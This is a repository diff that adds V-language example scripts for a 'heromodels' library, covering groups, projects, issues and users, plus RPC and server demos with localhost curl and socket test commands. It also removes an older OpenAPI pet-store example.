mut o := mydb.group.new(
|
||||
name: 'Development Team'
|
||||
description: 'Group for software developers'
|
||||
is_public: false
|
||||
members: []
|
||||
subgroups: []
|
||||
parent_group: 0
|
||||
)!
|
||||
|
||||
// Add tags if needed
|
||||
o.tags = mydb.group.db.tags_get(['team', 'development'])!
|
||||
|
||||
// Save to database
|
||||
mydb.group.set(o)!
|
||||
println('Created Group ID: ${o.id}')
|
||||
|
||||
// Check if the group exists
|
||||
mut exists := mydb.group.exist(o.id)!
|
||||
println('Group exists: ${exists}')
|
||||
|
||||
// Retrieve from database
|
||||
mut o2 := mydb.group.get(o.id)!
|
||||
println('Retrieved Group object: ${o2}')
|
||||
|
||||
// List all groups
|
||||
mut objects := mydb.group.list()!
|
||||
println('All groups: ${objects}')
|
||||
|
||||
// Delete the group
|
||||
mydb.group.delete(o.id)!
|
||||
println('Deleted group with ID: ${o.id}')
|
||||
|
||||
// Check if the group still exists
|
||||
exists = mydb.group.exist(o.id)!
|
||||
println('Group exists after deletion: ${exists}')
|
||||
34
examples/hero/heromodels/heromodels_group_add_members.vsh
Executable file
34
examples/hero/heromodels/heromodels_group_add_members.vsh
Executable file
@@ -0,0 +1,34 @@
|
||||
#!/usr/bin/env -S v -n -w -cg -gc none -cc tcc -d use_openssl -enable-globals -no-skip-unused run
|
||||
|
||||
import freeflowuniverse.herolib.hero.heromodels
|
||||
|
||||
mut mydb := heromodels.new()!
|
||||
|
||||
// Create a new group without members
|
||||
mut o := mydb.group.new(
|
||||
name: 'Marketing Team'
|
||||
description: 'Group for marketing professionals'
|
||||
is_public: true
|
||||
members: []
|
||||
subgroups: []
|
||||
parent_group: 0
|
||||
)!
|
||||
|
||||
// Add members to the group
|
||||
o.add_member(1, heromodels.GroupRole.admin)
|
||||
o.add_member(2, heromodels.GroupRole.writer)
|
||||
o.add_member(3, heromodels.GroupRole.reader)
|
||||
|
||||
// Add tags if needed
|
||||
o.tags = mydb.group.db.tags_get(['team', 'marketing'])!
|
||||
|
||||
// Save to database
|
||||
mydb.group.set(o)!
|
||||
println('Created Group ID: ${o.id}')
|
||||
|
||||
// Retrieve from database
|
||||
mut o2 := mydb.group.get(o.id)!
|
||||
println('Retrieved Group object: ${o2}')
|
||||
|
||||
// Check the number of members
|
||||
println('Group members count: ${o2.members.len}')
|
||||
47
examples/hero/heromodels/heromodels_group_relationships.vsh
Executable file
47
examples/hero/heromodels/heromodels_group_relationships.vsh
Executable file
@@ -0,0 +1,47 @@
|
||||
#!/usr/bin/env -S v -n -w -cg -gc none -cc tcc -d use_openssl -enable-globals -no-skip-unused run
|
||||
|
||||
import freeflowuniverse.herolib.hero.heromodels
|
||||
|
||||
mut mydb := heromodels.new()!
|
||||
|
||||
// Create a parent group
|
||||
mut parent_group := mydb.group.new(
|
||||
name: 'Company'
|
||||
description: 'Main company group'
|
||||
is_public: true
|
||||
members: []
|
||||
subgroups: []
|
||||
parent_group: 0
|
||||
)!
|
||||
|
||||
mydb.group.set(mut parent_group)!
|
||||
println('Created Parent Group ID: ${parent_group.id}')
|
||||
|
||||
// Create a subgroup
|
||||
mut subgroup := mydb.group.new(
|
||||
name: 'Development Team'
|
||||
description: 'Subgroup for developers'
|
||||
is_public: false
|
||||
members: []
|
||||
subgroups: []
|
||||
parent_group: parent_group.id
|
||||
)!
|
||||
|
||||
mydb.group.set(mut subgroup)!
|
||||
println('Created Subgroup ID: ${subgroup.id}')
|
||||
|
||||
// Update the parent group to include the subgroup
|
||||
mut updated_parent := mydb.group.get(parent_group.id)!
|
||||
updated_parent.subgroups = [subgroup.id]
|
||||
mydb.group.set(mut updated_parent)!
|
||||
|
||||
// Retrieve both groups to verify relationships
|
||||
mut parent_from_db := mydb.group.get(parent_group.id)!
|
||||
mut sub_from_db := mydb.group.get(subgroup.id)!
|
||||
|
||||
println('Parent Group: ${parent_from_db}')
|
||||
println('Subgroup: ${sub_from_db}')
|
||||
|
||||
// Verify the relationships
|
||||
println('Parent group has ${parent_from_db.subgroups.len} subgroups')
|
||||
println('Subgroup has parent group ID: ${sub_from_db.parent_group}')
|
||||
45
examples/hero/heromodels/heromodels_group_with_members.vsh
Executable file
45
examples/hero/heromodels/heromodels_group_with_members.vsh
Executable file
@@ -0,0 +1,45 @@
|
||||
#!/usr/bin/env -S v -n -w -cg -gc none -cc tcc -d use_openssl -enable-globals -no-skip-unused run
|
||||
|
||||
import freeflowuniverse.herolib.hero.heromodels
|
||||
|
||||
mut mydb := heromodels.new()!
|
||||
|
||||
// Create a new group with members
|
||||
mut o := mydb.group.new(
|
||||
name: 'Development Team'
|
||||
description: 'Group for software developers'
|
||||
is_public: false
|
||||
members: [
|
||||
heromodels.GroupMember{
|
||||
user_id: 1
|
||||
role: heromodels.GroupRole.admin
|
||||
joined_at: 0 // Will be set when adding to group
|
||||
},
|
||||
heromodels.GroupMember{
|
||||
user_id: 2
|
||||
role: heromodels.GroupRole.writer
|
||||
joined_at: 0 // Will be set when adding to group
|
||||
},
|
||||
]
|
||||
subgroups: []
|
||||
parent_group: 0
|
||||
)!
|
||||
|
||||
// Add tags if needed
|
||||
o.tags = mydb.group.db.tags_get(['team', 'development'])!
|
||||
|
||||
// Save to database
|
||||
mydb.group.set(o)!
|
||||
println('Created Group ID: ${o.id}')
|
||||
|
||||
// Check if the group exists
|
||||
mut exists := mydb.group.exist(o.id)!
|
||||
println('Group exists: ${exists}')
|
||||
|
||||
// Retrieve from database
|
||||
mut o2 := mydb.group.get(o.id)!
|
||||
println('Retrieved Group object: ${o2}')
|
||||
|
||||
// List all groups
|
||||
mut objects := mydb.group.list()!
|
||||
println('All groups count: ${objects.len}')
|
||||
90
examples/hero/heromodels/heromodels_project.vsh
Executable file
90
examples/hero/heromodels/heromodels_project.vsh
Executable file
@@ -0,0 +1,90 @@
|
||||
#!/usr/bin/env -S v -n -w -cg -gc none -cc tcc -d use_openssl -enable-globals -no-skip-unused run
|
||||
|
||||
import freeflowuniverse.herolib.hero.heromodels
|
||||
import freeflowuniverse.herolib.hero.db
|
||||
|
||||
mut mydb := heromodels.new()!
|
||||
mydb.project.db.redis.flushdb()!
|
||||
|
||||
// Create swimlanes
|
||||
swimlane1 := heromodels.Swimlane{
|
||||
name: 'todo'
|
||||
description: 'Tasks to be done'
|
||||
order: 1
|
||||
color: '#FF0000'
|
||||
is_done: false
|
||||
}
|
||||
|
||||
swimlane2 := heromodels.Swimlane{
|
||||
name: 'in_progress'
|
||||
description: 'Tasks currently being worked on'
|
||||
order: 2
|
||||
color: '#FFFF00'
|
||||
is_done: false
|
||||
}
|
||||
|
||||
swimlane3 := heromodels.Swimlane{
|
||||
name: 'done'
|
||||
description: 'Completed tasks'
|
||||
order: 3
|
||||
color: '#00FF00'
|
||||
is_done: true
|
||||
}
|
||||
|
||||
// Create milestones
|
||||
milestone1 := heromodels.Milestone{
|
||||
name: 'phase_1'
|
||||
description: 'First development phase'
|
||||
due_date: 1672531200 // 2023-01-01
|
||||
completed: false
|
||||
issues: [u32(1), u32(2)]
|
||||
}
|
||||
|
||||
milestone2 := heromodels.Milestone{
|
||||
name: 'phase_2'
|
||||
description: 'Second development phase'
|
||||
due_date: 1675209600 // 2023-02-01
|
||||
completed: false
|
||||
issues: [u32(3), u32(4)]
|
||||
}
|
||||
|
||||
// Create a new project
|
||||
mut project := mydb.project.new(
|
||||
name: 'Sample Project'
|
||||
description: 'A sample project for demonstration'
|
||||
swimlanes: [swimlane1, swimlane2, swimlane3]
|
||||
milestones: [milestone1, milestone2]
|
||||
issues: ['issue1', 'issue2', 'issue3']
|
||||
fs_files: [u32(100), u32(200)]
|
||||
status: .active
|
||||
start_date: '2023-01-01'
|
||||
end_date: '2023-12-31'
|
||||
tags: ['sample', 'demo', 'project']
|
||||
comments: [db.CommentArg{
|
||||
comment: 'This is a sample project'
|
||||
}]
|
||||
)!
|
||||
|
||||
// Save the project to the database
|
||||
mydb.project.set(mut project)!
|
||||
println('Created project with ID: ${project.id}')
|
||||
|
||||
// Retrieve the project from the database
|
||||
mut retrieved_project := mydb.project.get(project.id)!
|
||||
println('Retrieved project: ${retrieved_project}')
|
||||
|
||||
// List all projects
|
||||
mut all_projects := mydb.project.list()!
|
||||
println('All projects: ${all_projects}')
|
||||
|
||||
// Check if the project exists
|
||||
mut exists := mydb.project.exist(project.id)!
|
||||
println('Project exists: ${exists}')
|
||||
|
||||
// Delete the project
|
||||
mydb.project.delete(project.id)!
|
||||
println('Project deleted')
|
||||
|
||||
// Check if the project still exists
|
||||
exists = mydb.project.exist(project.id)!
|
||||
println('Project exists after deletion: ${exists}')
|
||||
99
examples/hero/heromodels/heromodels_project_issue.vsh
Executable file
99
examples/hero/heromodels/heromodels_project_issue.vsh
Executable file
@@ -0,0 +1,99 @@
|
||||
#!/usr/bin/env -S v -n -w -cg -gc none -cc tcc -d use_openssl -enable-globals -no-skip-unused run
|
||||
|
||||
import freeflowuniverse.herolib.hero.heromodels
|
||||
import freeflowuniverse.herolib.hero.db
|
||||
|
||||
mut mydb := heromodels.new()!
|
||||
mydb.project_issue.db.redis.flushdb()!
|
||||
|
||||
// Create swimlanes
|
||||
swimlane := heromodels.Swimlane{
|
||||
name: 'todo'
|
||||
description: 'Tasks to be done'
|
||||
order: 1
|
||||
color: '#FF0000'
|
||||
is_done: false
|
||||
}
|
||||
|
||||
// Create milestones
|
||||
milestone := heromodels.Milestone{
|
||||
name: 'phase_1'
|
||||
description: 'First development phase'
|
||||
due_date: 1672531200 // 2023-01-01
|
||||
completed: false
|
||||
issues: [u32(1), u32(2)]
|
||||
}
|
||||
|
||||
// Create a new project
|
||||
mut project := mydb.project.new(
|
||||
name: 'Sample Project'
|
||||
description: 'A sample project for demonstration'
|
||||
swimlanes: [swimlane]
|
||||
milestones: [milestone]
|
||||
issues: ['issue1', 'issue2', 'issue3']
|
||||
fs_files: [u32(100), u32(200)]
|
||||
status: .active
|
||||
start_date: '2023-01-01'
|
||||
end_date: '2023-12-31'
|
||||
tags: ['sample', 'demo', 'project']
|
||||
comments: [db.CommentArg{
|
||||
comment: 'This is a sample project'
|
||||
}]
|
||||
)!
|
||||
|
||||
// Save the project to the database
|
||||
mydb.project.set(mut project)!
|
||||
println('Created project with ID: ${project.id}')
|
||||
|
||||
// Create a new project issue
|
||||
mut issue := mydb.project_issue.new(
|
||||
name: 'Fix login bug'
|
||||
description: 'Users are unable to login with their credentials'
|
||||
title: 'Login functionality is broken'
|
||||
project_id: project.id
|
||||
issue_type: .bug
|
||||
priority: .high
|
||||
status: .open
|
||||
swimlane: 'todo'
|
||||
assignees: [u32(10), u32(20)]
|
||||
reporter: u32(5)
|
||||
milestone: 'phase_1'
|
||||
deadline: '2023-01-15'
|
||||
estimate: 8
|
||||
fs_files: [u32(1000), u32(2000)]
|
||||
parent_id: u32(0)
|
||||
children: [u32(100), u32(101)]
|
||||
tags: ['bug', 'login', 'authentication']
|
||||
comments: [
|
||||
db.CommentArg{
|
||||
comment: 'This issue needs to be fixed urgently'
|
||||
},
|
||||
db.CommentArg{
|
||||
comment: 'I am working on this now'
|
||||
},
|
||||
]
|
||||
)!
|
||||
|
||||
// Save the issue to the database
|
||||
mydb.project_issue.set(mut issue)!
|
||||
println('Created project issue with ID: ${issue.id}')
|
||||
|
||||
// Retrieve the issue from the database
|
||||
mut retrieved_issue := mydb.project_issue.get(issue.id)!
|
||||
println('Retrieved project issue: ${retrieved_issue}')
|
||||
|
||||
// List all project issues
|
||||
mut all_issues := mydb.project_issue.list()!
|
||||
println('All project issues: ${all_issues}')
|
||||
|
||||
// Check if the issue exists
|
||||
mut exists := mydb.project_issue.exist(issue.id)!
|
||||
println('Project issue exists: ${exists}')
|
||||
|
||||
// Delete the issue
|
||||
mydb.project_issue.delete(issue.id)!
|
||||
println('Project issue deleted')
|
||||
|
||||
// Check if the issue still exists
|
||||
exists = mydb.project_issue.exist(issue.id)!
|
||||
println('Project issue exists after deletion: ${exists}')
|
||||
46
examples/hero/heromodels/heromodels_user.vsh
Executable file
46
examples/hero/heromodels/heromodels_user.vsh
Executable file
@@ -0,0 +1,46 @@
|
||||
#!/usr/bin/env -S v -n -w -cg -gc none -cc tcc -d use_openssl -enable-globals -no-skip-unused run
|
||||
|
||||
import freeflowuniverse.herolib.hero.heromodels
|
||||
|
||||
mut mydb := heromodels.new()!
|
||||
|
||||
// Create a new user
|
||||
mut o := mydb.user.new(
|
||||
name: 'John Doe'
|
||||
description: 'Software Developer'
|
||||
email: 'john.doe@example.com'
|
||||
public_key: '-----BEGIN PUBLIC KEY-----\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA...\n-----END PUBLIC KEY-----'
|
||||
phone: '+1234567890'
|
||||
address: '123 Main St, City, Country'
|
||||
avatar_url: 'https://example.com/avatar.jpg'
|
||||
bio: 'Experienced software developer with a passion for V language'
|
||||
timezone: 'UTC'
|
||||
status: .active
|
||||
securitypolicy: 0
|
||||
tags: 0
|
||||
comments: []
|
||||
)!
|
||||
|
||||
// Save to database
|
||||
mydb.user.set(o)!
|
||||
println('Created User ID: ${o.id}')
|
||||
|
||||
// Check if the user exists
|
||||
mut exists := mydb.user.exist(o.id)!
|
||||
println('User exists: ${exists}')
|
||||
|
||||
// Retrieve from database
|
||||
mut o2 := mydb.user.get(o.id)!
|
||||
println('Retrieved User object: ${o2}')
|
||||
|
||||
// List all users
|
||||
mut objects := mydb.user.list()!
|
||||
println('All users: ${objects}')
|
||||
|
||||
// Delete the user
|
||||
mydb.user.delete(o.id)!
|
||||
println('Deleted user with ID: ${o.id}')
|
||||
|
||||
// Check if the user still exists
|
||||
exists = mydb.user.exist(o.id)!
|
||||
println('User exists after deletion: ${exists}')
|
||||
27
examples/hero/heromodels/heroserver_example.vsh
Executable file
27
examples/hero/heromodels/heroserver_example.vsh
Executable file
@@ -0,0 +1,27 @@
|
||||
#!/usr/bin/env -S v -n -w -gc none -cc tcc -d use_openssl -enable-globals -no-skip-unused run
|
||||
|
||||
import freeflowuniverse.herolib.hero.heromodels
|
||||
import freeflowuniverse.herolib.hero.db
|
||||
import time
|
||||
|
||||
fn main() {
|
||||
// Start the server in a background thread with authentication disabled for testing
|
||||
spawn fn () ! {
|
||||
heromodels.new(reset: true, name: 'test')!
|
||||
heromodels.server_start(
|
||||
name: 'test'
|
||||
port: 8080
|
||||
auth_enabled: false // Disable auth for testing
|
||||
cors_enabled: true
|
||||
reset: true
|
||||
allowed_origins: [
|
||||
'http://localhost:5173',
|
||||
]
|
||||
) or { panic('Failed to start HeroModels server: ${err}') }
|
||||
}()
|
||||
|
||||
// Keep the main thread alive
|
||||
for {
|
||||
time.sleep(time.second)
|
||||
}
|
||||
}
|
||||
1
examples/hero/herorpc/.gitignore
vendored
Normal file
1
examples/hero/herorpc/.gitignore
vendored
Normal file
@@ -0,0 +1 @@
|
||||
herorpc_example
|
||||
41
examples/hero/herorpc/herorpc_example.vsh
Executable file
41
examples/hero/herorpc/herorpc_example.vsh
Executable file
@@ -0,0 +1,41 @@
|
||||
#!/usr/bin/env -S v -n -w -cg -gc none -cc tcc -d use_openssl -enable-globals run
|
||||
|
||||
import freeflowuniverse.herolib.hero.heromodels.rpc
|
||||
import freeflowuniverse.herolib.ui.console
|
||||
|
||||
// when httpport is set, the rpc will be available over http
|
||||
// if 0, then its only available on unix socket /tmp/heromodels
|
||||
mut http_port := 9933
|
||||
|
||||
if http_port == 0 {
|
||||
console.print_header('
|
||||
|
||||
#to test the discover function:
|
||||
|
||||
echo \'\{"jsonrpc":"2.0","method":"rpc.discover","params":[],"id":1\}\' \\
|
||||
| nc -U /tmp/heromodels
|
||||
\'
|
||||
#to test interactively:
|
||||
|
||||
nc -U /tmp/heromodels
|
||||
|
||||
then e.g. do
|
||||
|
||||
\{"jsonrpc":"2.0","method":"comment_set","params":{"comment":"Hello world!","parent":0,"author":42},"id":1\}
|
||||
|
||||
needs to be on one line for openrpc to work
|
||||
|
||||
')
|
||||
} else {
|
||||
console.print_header('
|
||||
|
||||
#to test the discover function:
|
||||
|
||||
curl -X POST -H "Content-Type: application/json" -d \'\{"jsonrpc":"2.0","method":"rpc.discover","id":1,"params":[]\}\' http://localhost:9933
|
||||
|
||||
curl -X POST -H "Content-Type: application/json" -d \'\{"jsonrpc":"2.0","method":"comment_set","params":{"comment":"Hello world!","parent":0,"author":42},"id":1\}\' http://localhost:9933
|
||||
|
||||
')
|
||||
}
|
||||
|
||||
rpc.start(port: http_port)!
|
||||
1
examples/hero/heroserver/.gitignore
vendored
Normal file
1
examples/hero/heroserver/.gitignore
vendored
Normal file
@@ -0,0 +1 @@
|
||||
heroserver
|
||||
21
examples/hero/heroserver/heroserver.vsh
Executable file
21
examples/hero/heroserver/heroserver.vsh
Executable file
@@ -0,0 +1,21 @@
|
||||
#!/usr/bin/env -S v -n -w -cg -gc none -cc tcc -d use_openssl -enable-globals run
|
||||
|
||||
import freeflowuniverse.herolib.hero.heroserver
|
||||
import freeflowuniverse.herolib.schemas.openrpc
|
||||
import os
|
||||
|
||||
// 1. Create a new server instance
|
||||
mut server := heroserver.new(port: 8080)!
|
||||
|
||||
// 2. Create and register your OpenRPC handlers
|
||||
// These handlers must conform to the `openrpc.OpenRPCHandler` interface.
|
||||
script_dir := os.dir(@FILE)
|
||||
openrpc_path := os.join_path(script_dir, 'openrpc.json')
|
||||
handler := openrpc.new_handler(openrpc_path)!
|
||||
server.register_handler('comments', handler)!
|
||||
|
||||
println('Server starting on http://localhost:8080')
|
||||
println('Documentation available at: http://localhost:8080/doc/comments/')
|
||||
println('Comments API available at: http://localhost:8080/api/comments')
|
||||
|
||||
server.start()!
|
||||
69
examples/hero/heroserver/openrpc.json
Normal file
69
examples/hero/heroserver/openrpc.json
Normal file
@@ -0,0 +1,69 @@
|
||||
{
|
||||
"openrpc": "1.2.6",
|
||||
"info": {
|
||||
"title": "Comment Service",
|
||||
"description": "A simple service for managing comments.",
|
||||
"version": "1.0.0"
|
||||
},
|
||||
"methods": [
|
||||
{
|
||||
"name": "add_comment",
|
||||
"summary": "Add a new comment",
|
||||
"params": [
|
||||
{
|
||||
"name": "text",
|
||||
"description": "The content of the comment.",
|
||||
"required": true,
|
||||
"schema": {
|
||||
"type": "string"
|
||||
}
|
||||
}
|
||||
],
|
||||
"result": {
|
||||
"name": "comment_id",
|
||||
"description": "The ID of the newly created comment.",
|
||||
"schema": {
|
||||
"type": "string"
|
||||
}
|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "get_comment",
|
||||
"summary": "Get a comment by ID",
|
||||
"description": "Retrieves a specific comment using its unique identifier.",
|
||||
"params": [
|
||||
{
|
||||
"name": "id",
|
||||
"description": "The unique identifier of the comment to retrieve.",
|
||||
"required": true,
|
||||
"schema": {
|
||||
"type": "number",
|
||||
"example": "1"
|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "include_metadata",
|
||||
"description": "Whether to include metadata in the response.",
|
||||
"required": false,
|
||||
"schema": {
|
||||
"type": "boolean",
|
||||
"example": true
|
||||
}
|
||||
}
|
||||
],
|
||||
"result": {
|
||||
"name": "comment",
|
||||
"description": "The requested comment object.",
|
||||
"schema": {
|
||||
"type": "object",
|
||||
"example": {
|
||||
"id": 1,
|
||||
"text": "This is a sample comment",
|
||||
"created_at": "2024-01-15T10:30:00Z"
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
],
|
||||
"components": {}
|
||||
}
|
||||
2
examples/hero/openapi/.gitignore
vendored
2
examples/hero/openapi/.gitignore
vendored
@@ -1,2 +0,0 @@
|
||||
actor
|
||||
server
|
||||
@@ -1,103 +0,0 @@
|
||||
# OpenAPI Server with Redis-Based RPC and Actor
|
||||
|
||||
This project demonstrates how to implement a system consisting of:
|
||||
1. An OpenAPI Server: Handles HTTP requests and translates them into procedure calls.
|
||||
2. A Redis-Based RPC Processor: Acts as the communication layer between the server and the actor.
|
||||
3. An Actor: Listens for RPC requests on a Redis queue and executes predefined procedures.
|
||||
|
||||
## Features
|
||||
• OpenAPI server to manage HTTP requests.
|
||||
• Redis-based RPC mechanism for message passing.
|
||||
• Actor pattern for executing and responding to RPC tasks.
|
||||
|
||||
## Setup Instructions
|
||||
|
||||
Prerequisites
|
||||
• Redis installed and running on localhost:6379.
|
||||
• V programming language installed.
|
||||
|
||||
Steps to Run
|
||||
|
||||
1. OpenAPI Specification
|
||||
|
||||
Place the OpenAPI JSON specification file at:
|
||||
|
||||
`data/openapi.json`
|
||||
|
||||
This file defines the API endpoints and their parameters.
|
||||
|
||||
2. Start the Redis Server
|
||||
|
||||
Ensure Redis is running locally:
|
||||
|
||||
redis-server
|
||||
|
||||
3. Start the OpenAPI Server
|
||||
|
||||
Run the OpenAPI server:
|
||||
|
||||
`server.vsh`
|
||||
|
||||
The server listens on port 8080 by default.
|
||||
|
||||
4. Start the Actor
|
||||
|
||||
Run the actor service:
|
||||
|
||||
`actor.vsh`
|
||||
|
||||
The actor listens to the procedure_queue for RPC messages.
|
||||
|
||||
Usage
|
||||
|
||||
API Endpoints
|
||||
|
||||
The API supports operations like:
|
||||
• Create a Pet: Adds a new pet.
|
||||
• List Pets: Lists all pets or limits results.
|
||||
• Get Pet by ID: Fetches a specific pet by ID.
|
||||
• Delete Pet: Removes a pet by ID.
|
||||
• Similar operations for users and orders.
|
||||
|
||||
Use tools like curl, Postman, or a browser to interact with the endpoints.
|
||||
|
||||
Example Requests
|
||||
|
||||
Create a Pet
|
||||
|
||||
curl -X POST http://localhost:8080/pets -d '{"name": "Buddy", "tag": "dog"}' -H "Content-Type: application/json"
|
||||
|
||||
List Pets
|
||||
|
||||
curl http://localhost:8080/pets
|
||||
|
||||
## Code Overview
|
||||
|
||||
1. OpenAPI Server
|
||||
• Reads the OpenAPI JSON file.
|
||||
• Maps HTTP requests to procedure calls using the operation ID.
|
||||
• Sends procedure calls to the Redis RPC queue.
|
||||
|
||||
2. Redis-Based RPC
|
||||
• Implements a simple message queue using Redis.
|
||||
• Encodes requests as JSON strings for transport.
|
||||
|
||||
3. Actor
|
||||
• Listens to the procedure_queue Redis queue.
|
||||
• Executes tasks like managing pets, orders, and users.
|
||||
• Responds with JSON-encoded results or errors.
|
||||
|
||||
## Extending the System
|
||||
|
||||
Add New Procedures
|
||||
1. Define new methods in the Actor to handle tasks.
|
||||
2. Add corresponding logic in the DataStore for storage operations.
|
||||
3. Update the OpenAPI JSON file to expose new endpoints.
|
||||
|
||||
Modify Data Models
|
||||
1. Update the Pet, Order, and User structs as needed.
|
||||
2. Adjust the DataStore methods to handle the changes.
|
||||
|
||||
Troubleshooting
|
||||
• Redis Connection Issues: Ensure Redis is running and accessible on localhost:6379.
|
||||
• JSON Parsing Errors: Validate the input JSON against the OpenAPI specification.
|
||||
Binary file not shown.
@@ -1,233 +0,0 @@
|
||||
#!/usr/bin/env -S v -w -n -enable-globals run
|
||||
|
||||
import os
|
||||
import time
|
||||
import veb
|
||||
import json
|
||||
import x.json2
|
||||
import net.http
|
||||
import freeflowuniverse.herolib.web.openapi
|
||||
import freeflowuniverse.herolib.hero.processor
|
||||
import freeflowuniverse.herolib.core.redisclient
|
||||
|
||||
@[heap]
|
||||
struct Actor {
|
||||
mut:
|
||||
rpc redisclient.RedisRpc
|
||||
data_store DataStore
|
||||
}
|
||||
|
||||
pub struct DataStore {
|
||||
mut:
|
||||
pets map[int]Pet
|
||||
orders map[int]Order
|
||||
users map[int]User
|
||||
}
|
||||
|
||||
struct Pet {
|
||||
id int
|
||||
name string
|
||||
tag string
|
||||
}
|
||||
|
||||
struct Order {
|
||||
id int
|
||||
pet_id int
|
||||
quantity int
|
||||
ship_date string
|
||||
status string
|
||||
complete bool
|
||||
}
|
||||
|
||||
struct User {
|
||||
id int
|
||||
username string
|
||||
email string
|
||||
phone string
|
||||
}
|
||||
|
||||
// Entry point for the actor
|
||||
fn main() {
|
||||
mut redis := redisclient.new('localhost:6379') or { panic(err) }
|
||||
mut rpc := redis.rpc_get('procedure_queue')
|
||||
|
||||
mut actor := Actor{
|
||||
rpc: rpc
|
||||
data_store: DataStore{}
|
||||
}
|
||||
|
||||
actor.listen() or { panic(err) }
|
||||
}
|
||||
|
||||
// Actor listens to the Redis queue for method invocations
|
||||
fn (mut actor Actor) listen() ! {
|
||||
println('Actor started and listening for tasks...')
|
||||
for {
|
||||
actor.rpc.process(actor.handle_method)!
|
||||
time.sleep(time.millisecond * 100) // Prevent CPU spinning
|
||||
}
|
||||
}
|
||||
|
||||
// Handle method invocations
|
||||
fn (mut actor Actor) handle_method(cmd string, data string) !string {
|
||||
param_anys := json2.raw_decode(data)!.arr()
|
||||
match cmd {
|
||||
'listPets' {
|
||||
pets := if param_anys.len == 0 {
|
||||
actor.data_store.list_pets()
|
||||
} else {
|
||||
params := json.decode(ListPetParams, param_anys[0].str())!
|
||||
actor.data_store.list_pets(params)
|
||||
}
|
||||
return json.encode(pets)
|
||||
}
|
||||
'createPet' {
|
||||
response := if param_anys.len == 0 {
|
||||
return error('at least data expected')
|
||||
} else if param_anys.len == 1 {
|
||||
payload := json.decode(NewPet, param_anys[0].str())!
|
||||
actor.data_store.create_pet(payload)
|
||||
} else {
|
||||
return error('expected 1 param, found too many')
|
||||
}
|
||||
// data := json.decode(NewPet, data) or { return error('Invalid pet data: $err') }
|
||||
// created_pet := actor.data_store.create_pet(pet)
|
||||
return json.encode(response)
|
||||
}
|
||||
'getPet' {
|
||||
response := if param_anys.len == 0 {
|
||||
return error('at least data expected')
|
||||
} else if param_anys.len == 1 {
|
||||
payload := param_anys[0].int()
|
||||
actor.data_store.get_pet(payload)!
|
||||
} else {
|
||||
return error('expected 1 param, found too many')
|
||||
}
|
||||
|
||||
return json.encode(response)
|
||||
}
|
||||
'deletePet' {
|
||||
params := json.decode(map[string]int, data) or {
|
||||
return error('Invalid params: ${err}')
|
||||
}
|
||||
actor.data_store.delete_pet(params['petId']) or {
|
||||
return error('Pet not found: ${err}')
|
||||
}
|
||||
return json.encode({
|
||||
'message': 'Pet deleted'
|
||||
})
|
||||
}
|
||||
'listOrders' {
|
||||
orders := actor.data_store.list_orders()
|
||||
return json.encode(orders)
|
||||
}
|
||||
'getOrder' {
|
||||
params := json.decode(map[string]int, data) or {
|
||||
return error('Invalid params: ${err}')
|
||||
}
|
||||
order := actor.data_store.get_order(params['orderId']) or {
|
||||
return error('Order not found: ${err}')
|
||||
}
|
||||
return json.encode(order)
|
||||
}
|
||||
'deleteOrder' {
|
||||
params := json.decode(map[string]int, data) or {
|
||||
return error('Invalid params: ${err}')
|
||||
}
|
||||
actor.data_store.delete_order(params['orderId']) or {
|
||||
return error('Order not found: ${err}')
|
||||
}
|
||||
return json.encode({
|
||||
'message': 'Order deleted'
|
||||
})
|
||||
}
|
||||
'createUser' {
|
||||
user := json.decode(NewUser, data) or { return error('Invalid user data: ${err}') }
|
||||
created_user := actor.data_store.create_user(user)
|
||||
return json.encode(created_user)
|
||||
}
|
||||
else {
|
||||
return error('Unknown method: ${cmd}')
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@[params]
|
||||
pub struct ListPetParams {
|
||||
limit u32
|
||||
}
|
||||
|
||||
// DataStore methods for managing data
|
||||
fn (mut store DataStore) list_pets(params ListPetParams) []Pet {
|
||||
if params.limit > 0 {
|
||||
if params.limit >= store.pets.values().len {
|
||||
return store.pets.values()
|
||||
}
|
||||
return store.pets.values()[..params.limit]
|
||||
}
|
||||
return store.pets.values()
|
||||
}
|
||||
|
||||
fn (mut store DataStore) create_pet(new_pet NewPet) Pet {
|
||||
id := store.pets.keys().len + 1
|
||||
pet := Pet{
|
||||
id: id
|
||||
name: new_pet.name
|
||||
tag: new_pet.tag
|
||||
}
|
||||
store.pets[id] = pet
|
||||
return pet
|
||||
}
|
||||
|
||||
fn (mut store DataStore) get_pet(id int) !Pet {
|
||||
return store.pets[id] or { return error('Pet with id ${id} not found.') }
|
||||
}
|
||||
|
||||
fn (mut store DataStore) delete_pet(id int) ! {
|
||||
if id in store.pets {
|
||||
store.pets.delete(id)
|
||||
return
|
||||
}
|
||||
return error('Pet not found')
|
||||
}
|
||||
|
||||
fn (mut store DataStore) list_orders() []Order {
|
||||
return store.orders.values()
|
||||
}
|
||||
|
||||
fn (mut store DataStore) get_order(id int) !Order {
|
||||
return store.orders[id] or { none }
|
||||
}
|
||||
|
||||
fn (mut store DataStore) delete_order(id int) ! {
|
||||
if id in store.orders {
|
||||
store.orders.delete(id)
|
||||
return
|
||||
}
|
||||
return error('Order not found')
|
||||
}
|
||||
|
||||
fn (mut store DataStore) create_user(new_user NewUser) User {
|
||||
id := store.users.keys().len + 1
|
||||
user := User{
|
||||
id: id
|
||||
username: new_user.username
|
||||
email: new_user.email
|
||||
phone: new_user.phone
|
||||
}
|
||||
store.users[id] = user
|
||||
return user
|
||||
}
|
||||
|
||||
// NewPet struct for creating a pet
|
||||
struct NewPet {
|
||||
name string
|
||||
tag string
|
||||
}
|
||||
|
||||
// NewUser struct for creating a user
|
||||
struct NewUser {
|
||||
username string
|
||||
email string
|
||||
phone string
|
||||
}
|
||||
@@ -1,346 +0,0 @@
|
||||
{
|
||||
"openapi": "3.0.3",
|
||||
"info": {
|
||||
"title": "Pet Store API",
|
||||
"description": "A sample API for a pet store",
|
||||
"version": "1.0.0"
|
||||
},
|
||||
"servers": [
|
||||
{
|
||||
"url": "https://api.petstore.example.com/v1",
|
||||
"description": "Production server"
|
||||
},
|
||||
{
|
||||
"url": "https://staging.petstore.example.com/v1",
|
||||
"description": "Staging server"
|
||||
}
|
||||
],
|
||||
"paths": {
|
||||
"/pets": {
|
||||
"get": {
|
||||
"summary": "List all pets",
|
||||
"operationId": "listPets",
|
||||
"parameters": [
|
||||
{
|
||||
"name": "limit",
